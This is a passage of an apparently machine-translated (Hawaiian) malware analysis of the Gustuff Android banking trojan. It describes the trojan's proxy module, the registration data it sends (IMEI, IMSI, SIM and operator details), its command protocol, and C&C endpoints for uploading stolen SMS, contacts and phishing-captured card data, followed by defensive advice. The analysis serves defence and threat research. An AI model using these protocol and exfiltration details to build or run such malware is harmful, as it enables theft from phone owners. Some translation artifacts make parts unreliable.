  1. main.txt - ka hana a ka papa i kapa ʻia ʻo CommandServer i hoʻopaʻa ʻia i kēia faila. Ma ka mea aʻe, e hoʻopaʻa ʻia i ke kaula str i loko o kēia faila e kapa ʻia ʻo mainLog(str).
  2. kau-<%id%>.txt — Mālama kēia faila i ka ʻikepili log e pili ana i kahi kau proxy kūikawā. Ma ka mea e hiki mai ana, e hoʻopaʻa ʻia ke kaula str i kēia faila e like me sessionLog (str).
  3. server.txt - hoʻohana ʻia kēia faila e hoʻopaʻa i nā ʻikepili āpau i kākau ʻia i nā faila i wehewehe ʻia ma luna.

Hōpili ʻikepili moʻo:

<%Date%> [Thread[<%thread id%>], id[]]: log-string

Hoʻopaʻa ʻia nā ʻokoʻa i ka wā o ka hana ʻana o ka module Proxy i kahi faila. No ka hana ʻana i kēia, hana ka noi i kahi mea JSON ma kēia ʻano:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

A laila hoʻololi ia i kahi hōʻike string a hoʻopaʻa inoa.

Hoʻomaka ʻia ka module Proxy ma hope o ka loaʻa ʻana o ke kauoha pili. Ke loaʻa kahi kauoha e hoʻomaka i ka module Proxy, hoʻomaka ka noi i kahi lawelawe i kapa ʻia MainService, nona ke kuleana no ka mālama ʻana i ka hana o ka module Proxy - e hoʻomaka a hoʻōki.

Nā pae o ka hoʻomaka ʻana i ka lawelawe:

1. Hoʻomaka i kahi manawa e holo hoʻokahi i ka minuke a nānā i ka hana o ka module Proxy. Inā ʻaʻole ʻeleu ka module, hoʻomaka ia.
Eia kekahi i ka wā e hoʻomaka ai ka hanana android.net.conn.CONNECTIVITY_CHANGE Hoʻomaka ʻia ka module Proxy.

2. Hoʻokumu ka palapala noi i kahi ala ala me ka palena PARTIAL_WAKE_LOCK a hopu iā ia. ʻAʻole kēia i ka CPU hāmeʻa mai ka hele ʻana i ke ʻano hiamoe.

3. Hoʻopuka i ka papa hana kauoha o ka module Proxy, e hoʻopaʻa mua i ka laina mainLog("hoʻomaka ke kikowaena") и

Server::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

kahi proxy_cnc, kauoha_port a me proxy_port - nā ʻāpana i loaʻa mai ka hoʻonohonoho kikowaena kikowaena Proxy.

Kapa ʻia ka papa hana kauoha Hoʻohui Kauoha. Ma hope koke o ka hoʻomaka ʻana, e hana i kēia mau hana:

4. Hoʻopili i ProxyConfigClass.host: ProxyConfigClass.commandPort a hoʻouna i ka ʻikepili e pili ana i ka mea maʻi i laila ma JSON format:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

ʻAuhea:

  • id - identifier, e hoʻāʻo e kiʻi i kahi waiwai me ka "id" kahua mai ka faila Shared Preference i kapa ʻia ʻo "x". Inā ʻaʻole hiki ke loaʻa kēia waiwai, hana ia i kahi waiwai hou. No laila, loaʻa i ka module Proxy kona ʻike ponoʻī, i hana ʻia e like me ka Bot ID.
  • imei - IMEI o ka mea hana. Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
  • imsi — Ka ʻike inoa o ka mea hoʻohana kelepona kelepona honua. Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
  • kumu hoʻohālike — Ka inoa i ʻike ʻia e ka mea hoʻohana hope no ka huahana hope.
  • mea hana — Ka mea hana i ka huahana/mea paahana (Build.MANUFACTURER).
  • androidVersion - he kaula ma ke ʻano "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • ʻāina - kahi o kēia manawa o ka mea hana.
  • partnerId he kaula hakahaka.
  • packageName – inoa pūʻolo.
  • networkType — ke ʻano o ka pili pūnaewele o kēia manawa (laʻana: “WIFI”, “MOBILE”). Inā hewa, e hoʻihoʻi i ka null.
  • hasGsmSupport - ʻoiaʻiʻo - inā kākoʻo ke kelepona iā GSM, inā ʻaʻole he hewa.
  • simReady - kūlana kāleka SIM.
  • simCountry - ISO ʻāina code (e pili ana i ka mea hāʻawi kāleka SIM).
  • networkOperator — inoa mea hoʻohana. Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
  • simOperator - Ka inoa mea hoʻolako lawelawe (SPN). Inā loaʻa kahi hewa i ka wā o ka loaʻa ʻana o ka waiwai, e kākau ʻia kahi leka kikokikona hewa ma kahi o kēia kahua.
  • version - mālama ʻia kēia kahua ma ka papa config; no nā mana i hoʻāʻo ʻia o ka bot ua like ia me "1.6".

5. Hoʻololi i ke ʻano o ke kali ʻana i nā kauoha mai ke kikowaena. Aia nā kauoha mai ke kikowaena ma ke ʻano:

  • 0 offset - kauoha
  • 1 offset - sessionId
  • 2 offset - lōʻihi
  • 4 offset - ʻikepili

Ke hōʻea mai kahi kauoha, hoʻopaʻa ka palapala noi:
mainLog("Header { sessionId<%id%>], type[<%command%>], long[<%longth%>] }")

Hiki i kēia mau kauoha mai ke kikowaena:

inoa E kauoha aku 'Ikepili Description
connectionId 0 ID pili Hana i kahi pilina hou
MAUI 3 manawa Hoʻomaha i ka module Proxy
PING_PONG 4 - E hoʻouna i ka leka PONG

ʻO ka memo PONG he 4 bytes a e like me kēia: 0x04000000.

Ke loaʻa ke kauoha connectionId (e hana i kahi pilina hou) Hoʻohui Kauoha hana i kahi laʻana o kahi papa Pākuʻi.

  • ʻElua mau papa i komo i ke koho ʻana: Pākuʻi и hopena. I ka hana ana i papa Pākuʻi pili ana i ka helu wahi ProxyConfigClass.host: ProxyConfigClass.proxyPort a hāʻawi i ka mea JSON:

 {
    "id":<%connectionId%>
}

I ka paneʻana, hoʻouna ke kikowaena i kahi leka SOCKS5 i loaʻa ka helu o ka kikowaena mamao kahi e hoʻokumuʻia ai ka pilina. Hana ʻia ka pilina me kēia kikowaena ma o ka papa hopena. Hiki ke hōʻike ʻia ka hoʻonohonoho pili ʻana penei:

Pehea ka Android Trojan Gustuff e hoʻokuʻu i ka cream (fiat a me crypto) mai kāu mau moʻokāki

Nā pilina pūnaewele

No ka pale ʻana i ka nānā ʻana i nā kaʻa e nā sniffers pūnaewele, hiki ke pale ʻia ka pilina ma waena o ka server CnC a me ka noi me ka hoʻohana ʻana i ka protocol SSL. Hōʻike ʻia nā ʻikepili i hoʻouna ʻia mai a i ke kikowaena ma ke ʻano JSON. Hoʻokō ka palapala noi i kēia mau noi i ka wā o ka hana:

  • http://<%CnC%>/api/v1/set_state.php - ka hopena o ka hoʻokō kauoha.
  • http://<%CnC%>/api/v1/get.php - ka loaʻa ʻana o kahi kauoha.
  • http://<%CnC%>/api/v1/load_sms.php - ke hoʻoiho ʻana i nā leka SMS mai kahi mea maʻi.
  • http://<%CnC%>/api/v1/load_ab.php - ka hoʻouka ʻana i kahi papa inoa o nā mea pili mai kahi mea maʻi.
  • http://<%CnC%>/api/v1/aevents.php - hana ʻia ka noi i ka wā e hoʻonui ai i nā ʻāpana i loaʻa i ka faila makemake.
  • http://<%CnC%>/api/v1/set_card.php - ka hoʻouka ʻana i ka ʻikepili i loaʻa me ka hoʻohana ʻana i ka pukaaniani phishing masquerading e like me ka Google Play Market.
  • http://<%CnC%>/api/v1/logs.php - ka hoʻouka ʻana i ka ʻikepili log.
  • http://<%CnC%>/api/v1/records.php - ka hoʻouka ʻana i ka ʻikepili i loaʻa ma o ka phishing windows.
  • http://<%CnC%>/api/v1/set_error.php - ka hoʻolaha ʻana o kahi hewa i hana ʻia.

koi

I mea e pale aku ai i kā lākou mea kūʻai mai ka hoʻoweliweli ʻana o nā Trojans mobile, pono nā hui e hoʻohana i nā hoʻonā piha e hiki ai iā lākou ke nānā a pale i ka hana ʻino me ka ʻole o ka hoʻokomo ʻana i nā polokalamu hou ma nā mea hoʻohana.

No ka hana ʻana i kēia, pono e hoʻoikaika ʻia nā ala pūlima no ka ʻike ʻana i nā Trojan mobile me nā ʻenehana no ka nānā ʻana i ka ʻano o ka mea kūʻai aku a me ka noi ponoʻī. Pono e hoʻokomo ʻia ka pale ʻana i kahi hana ʻike maka me ka hoʻohana ʻana i ka ʻenehana manamana lima kikohoʻe, kahi e hiki ai ke hoʻomaopopo i ka wā e hoʻohana ʻia ai kahi moʻokāki mai kahi mea atypical a ua hāʻule i loko o nā lima o ka mea hoʻopunipuni.

ʻO kahi kumu koʻikoʻi ka loaʻa ʻana o ka loiloi cross-channel, e hiki ai i nā ʻoihana ke hoʻomalu i nā pilikia e kū mai ana ʻaʻole wale ma ka Pūnaewele, akā ma ke ala kelepona hoʻi, no ka laʻana, i nā noi no ka waihona kālā kelepona, no nā kālepa me nā cryptocurrencies a me nā mea ʻē aʻe. hiki ke hoʻokō ʻia nā hana kālā.

Nā lula palekana no nā mea hoʻohana:

  • mai hoʻokomo i nā noi no ka polokalamu kelepona me Android OS mai nā kumu ʻē aʻe ma mua o Google Play, e nānā pono i nā kuleana i noi ʻia e ka noi;
  • hoʻokomo mau i nā mea hou o ka Android OS;
  • e hoʻolohe i nā hoʻonui o nā faila i hoʻoiho ʻia;
  • mai kipa aku i na waiwai hoohuoi;
  • Mai kaomi i nā loulou i loaʻa ma nā leka SMS.

Hoku hōkū Semyon Rogacheva, loea ʻōpio i ka noiʻi malware ma ka Group-IB Computer Forensics Laboratory.

Source: www.habr.com

Pākuʻi i ka manaʻo hoʻopuka